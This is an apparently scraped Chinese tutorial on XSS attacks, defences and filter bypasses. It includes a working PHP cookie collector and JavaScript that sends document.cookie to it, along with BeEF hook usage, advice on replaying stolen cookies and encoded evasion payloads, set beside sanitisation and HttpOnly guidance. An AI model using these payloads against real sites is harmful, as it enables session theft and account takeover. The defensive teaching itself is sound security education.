XSS防御和绕过1
原理:对用户输入没做过滤和处理,是用户可以输入一些东西(例如js),控制输出达到一些攻击目的
1.DOM型
基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。主要区别就是没有经过服务器后端处理
通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。
前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。
简单例子:

- 1 <HTML>
- 2 <TITLE>Welcome!</TITLE>
- 3 Hi
- 4 <SCRIPT>
- 5 var pos=document.URL.indexOf("name=")+5;
- 6 document.write(document.URL.substring(pos,document.URL.length));
- 7 </SCRIPT>
- 8 <BR>
- 9 Welcome to our system
- 10 …
- 11 </HTML>

这个例子是个欢迎页面,name是截取URL中get过来的name参数
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。
注意:
1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。
2.这个攻击只有在当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。
当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。
【这段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind】
- 如:<div id="aa">这是内容</div> ,我们可以通过 document.getElementById('aa').innerHTML 来获取id为aa的对象的内嵌内容;
也可以对某对象插入内容,如 document.getElementById('abc').innerHTML='这是被插入的内容'; 这样就能向id为abc的对象插入内容。
2 反射型:某url存在xss漏洞,攻击者通过植入xss代码,让受害者访问触发,反射型跨站http://127.0.0.1/xss1.php?name=op<script>alert(1)</script>
3.存储型:某url下的留言本或评论区存在xss漏洞,攻击者通过植入xss代码,让受害者访问触发,存储型跨站。留言板
与csrf结合的思考,构造带xss的链接请求放在B站上藏匿,受害者访问脆弱的a站,又同时访问B站,渲染B站时或点击、移动鼠标使恶意链接触发,向A站发送请求同时浏览器被攻击者控制,可以任意和A站交互
漏洞的发现:手工或这工具扫描AWVS等
awvs注意里面id的位置,手工测试输入,对可控的变量进行测试回显,看浏览器回显的html文档,一边测试一边绕过
漏洞的利用:beef或者xss平台、xsser
把beef的127.0.0.1:3000/hook.js 和xss平台通过各种方式get post等等在浏览器构造,骗取用户打开,利用效果取决于受害者权限,获取cookie、地理位置、劫持浏览器是没有问题的。
注意:
xss平台使用要注意插入闭合</scrpit>"<自己的xss代码>//)
获取到cookie以后可以用啊d也可以用cookietamper等这些修改cooike的插件带着cookie去访问网站。而且要注意访问/admin,不是/admin/login.php
手写获取cookie的js方法:
生成cookie的php:
- <?php
- $cookie = $_GET['c']; //接受c的参数复制给cookie,为后面做模拟方便
- $url= $_GET['u']; //赋值url
- $file = fopen("cookie.html","w+"); //将接受值写入html文件
- fwrite($file,"url地址:");
- fwrite($file,$url);
- fwrite($file,":");
- fwrite($file,$cookie);
- fwrite($file,"<hr>");
- fclose($file);
- ?>
利用的获取cookie的js代码:
- <script>
- var cookie=document.cookie; //声明变量获取cookie,赋值给cookie
- var url =window.location.href; //js获取url的方法
- alert(url);
- var c="http://127.0.0.1/cookiexss.php?c=";
- //var u="http://127.0.0.1/cookiexss.php?u=";
- window.location.href=c+cookie+"&u="+url;//window.location.href打开指定地址http://127.0.0.1/cookiexss.php?c=cookie值&u=url值
- </script>
只要在脆弱站点A植入以上js代码,js通过执行调用的php,生成一个html,里面包含用户在浏览A站的cookie和url
修复
1.在输入点过滤敏感关键字
2.innerHTML=encodeHTML([输出])
a) 全局拦截 (全局过滤器、拦截器),适用于不包含富文本的情况
Servlet的doFilter、Spring的Interceptor类,对所有的访问请求进行监听。正确的姿势是在过滤器中对<>&’”=等字符转义处理,可使用ESAPI或者common-lang.jar的StringEscapeUtils类或者Spring的HtmlUtils来实现。
b)富文本交互,白名单过滤
ESAPI.validator().getValidSafeHTML(“getValidSafeHTML”, keyword, keyword.length(), true)
白名单:JavaVulnerableLab/vulnerability/xss/xss4.jsp
3.7 XSS防护—Spring MVC
a)项目级过滤
<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>
b)页面级过滤
在包含form的jsp页面中添加
<spring:htmlEscape defaultHtmlEscape=”true” />
c)表单元素级过滤
在form元素中添加
<form:form htmlEscape=“true”>或
<form:input path=”someFormField” htmlEscape=”true” />
3.springMVC中的WebBindingInitializer和@InitBinder
- 将用户所提供的内容输入输出进行过滤。可以运用下面这些函数对出现XSS漏洞的参数进行过滤:
- PHP的htmlentities()或是htmlspecialchars()
- Python的cgi.escape()
- ASP的Server.HTMLEncode()
- ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
- Java的xssprotect(Open Source Library)
- Node.js的node-validator
4.推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer
3.HttpOnly
如果在cookie中设置了HttpOnly属性,那么通过javaScript脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是注意,只是不能读取,但是可以覆盖,攻击者如果发现网站的XSS漏洞,就可以利用HttpOnly
cookie发动session fixation攻击。
绕过:
四种超级基础的绕过方法。
1.转换为ASCII码
例子:原脚本为<script>alert(‘I love F4ck’)</script >
通过转换,变成:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2.转换为HEX(十六进制)
例子:原脚本为<script>alert(‘I love F4ck’)</script>
通过转换,变成:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
转换为base64
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">
可以看到会刷新,刷新时解密base64
3.转换脚本的大小写
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
4.增加闭合标记”>
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:”><script>alert(‘I love F4ck’)</script>
5.变量增加
分成三条语句
6.类似
有转义:
payload:
http://www.xiaodi8.com/hack/xss/example7.php?name=1';alert($a);//
闭合变量
过waf:
不管是XSS还是sql注入等,思路总是一样的,无非几种:
1.关键字打乱
2.替换更改
3.猜分组合
4.编码解码
5.函数调用
Normal
0
7.8 磅
0
2
false
false
false
EN-US
ZH-CN
X-NONE
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Times New Roman",serif;}
XSS防御和绕过1的更多相关文章
- XSS防御和绕过2
上一篇已经总结过,这里转载一篇,备忘 0x01 常规插入及其绕过 转自https://blog.csdn.net/qq_29277155/article/details/51320064 1 Scri ...
- XSS之防御与绕过
很久之前的随笔讲过XSS的编码绕过的一些内容 本次侧重整理一下常见的防御思路,顺便补充一些针对性的绕过思路以及关于XSS个人想到的一些有趣的事情 开篇之前,先看一下XSS介绍(包括mXSS.uXSS. ...
- 探索ASP.NET MVC5系列之~~~2.视图篇(上)---包含XSS防御和异步分部视图的处理
其实任何资料里面的任何知识点都无所谓,都是不重要的,重要的是学习方法,自行摸索的过程(不妥之处欢迎指正) 汇总:http://www.cnblogs.com/dunitian/p/4822808.ht ...
- XSS 防御方法总结
1. XSS攻击原理 XSS原称为CSS(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以改称为XSS(X一般有未知的含义,还有扩 ...
- XSS编码与绕过
XSS编码与绕过 0x00 背景 对于了解web安全的朋友来说,都知道XSS这种漏洞,其危害性不用强调了.一般对于该漏洞的防护有两个思路:一是过滤敏感字符,诸如[<,>,script,' ...
- 从跨域与同源策略谈CSRF防御与绕过
之前偶然看到群里有小伙汁问这个token相关的问题,当时我酝酿了一下子,没想好怎么总结,今天来说一下 CSRF在过去还属于OWASP TOP10 ,现在已经不是了(补充一点:关于OWASP API 请 ...
- 详谈XSS防御方法
1.HttpOnly 严格的说,httponly并非为了对抗XSS,它解决的是XSS后的Cookie劫持攻击.Cookie设置了httponly之后,JavaScript读不到该cookie的值. ...
- Webscan360的防御与绕过
这两天给360做了一个webscan360的总结,结果补丁还没有出来,就被人公布到了91org上面,既然公开了,那我就做一个总结 首先我们贴上它最新的防御正则 \<.+javascript:wi ...
- XSS防御篇
上周要求写自己用任何语言写一个留言版,存到数据库中,用自己的办法来解决XSS 我用了JSP+MYSQL,自己写了一个过滤器来防御WEB XSS漏洞 package com.mess.filter; p ...
随机推荐
- hive简单学习---1
---------------------------------------------------------------------------------------------------- ...
- Dozer映射
1.为什么要映射 一个映射的框架在一个分层的体系架构中非常有用,特别是你在创建一个抽象的分层去包装一些特殊数据的变化 vs 这些数据传输到其它层(外部服务的数据对象.领域的数据对象.数据传输对象.内部 ...
- 包含min函数的栈、队列
题目:定义栈的数据结构,请在该类型中实现一个能够得到栈/队列的最小元素的min函数.在该栈/队列中,调用min.入栈(入队列)及出栈(出队列)函数的时间复杂度都是O(1). 1. 包含min函数的栈 ...
- socket --自己简单的理解
一,网络编程中两个主要的问题 一个是如何准确的定位网络上一台或多台主机,另一个就是找到主机后如何可靠高效的进行数据传输. 在TCP/IP协议中IP层主要负责网络主机的定位,数据传输的路由,由IP地址可 ...
- .Net Core 2.*+ InfluxDB+Grafana+App Metrics实时性能监控
前言 .net core 2.* 实施性能监控 这个工具其实给运维 大大们用起来是更爽的.但是Grafana现在还没有找到中文版. 本文需要了解的相关技术与内容: InfluxDb(分布式时序数据库, ...
- Attention is all you need 详细解读
自从Attention机制在提出之后,加入Attention的Seq2Seq模型在各个任务上都有了提升,所以现在的seq2seq模型指的都是结合rnn和attention的模型.传统的基于RNN的Se ...
- kernel32.dll 这个系统模块
详细解读:远程线程注入DLL到PC版微信 一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一 ...
- iterm 2快捷键
快捷键 作用说明 command + f 搜索&查找,如果输入搜索内容后,按下 tab 键,就会 iTerm 自动帮选中搜索关键词,并且自动的帮我们复制到了剪贴板中.如果输入的是 shift+ ...
- Origin
1.简单的使用 http://wenku.baidu.com/link?url=K1ThI9a-Ws_Rk28K28kBEc9uNRN7k4vHV4pxfieMCaLeA4rGotRAnk8fxCUm ...
- fedora使用
1.更改ip 添加ip和掩码 sudo ifconfig p4p1 172.31.8.7/24 up 添加网关 sudo route add default gw 172.31.8.1 2.远程登 ...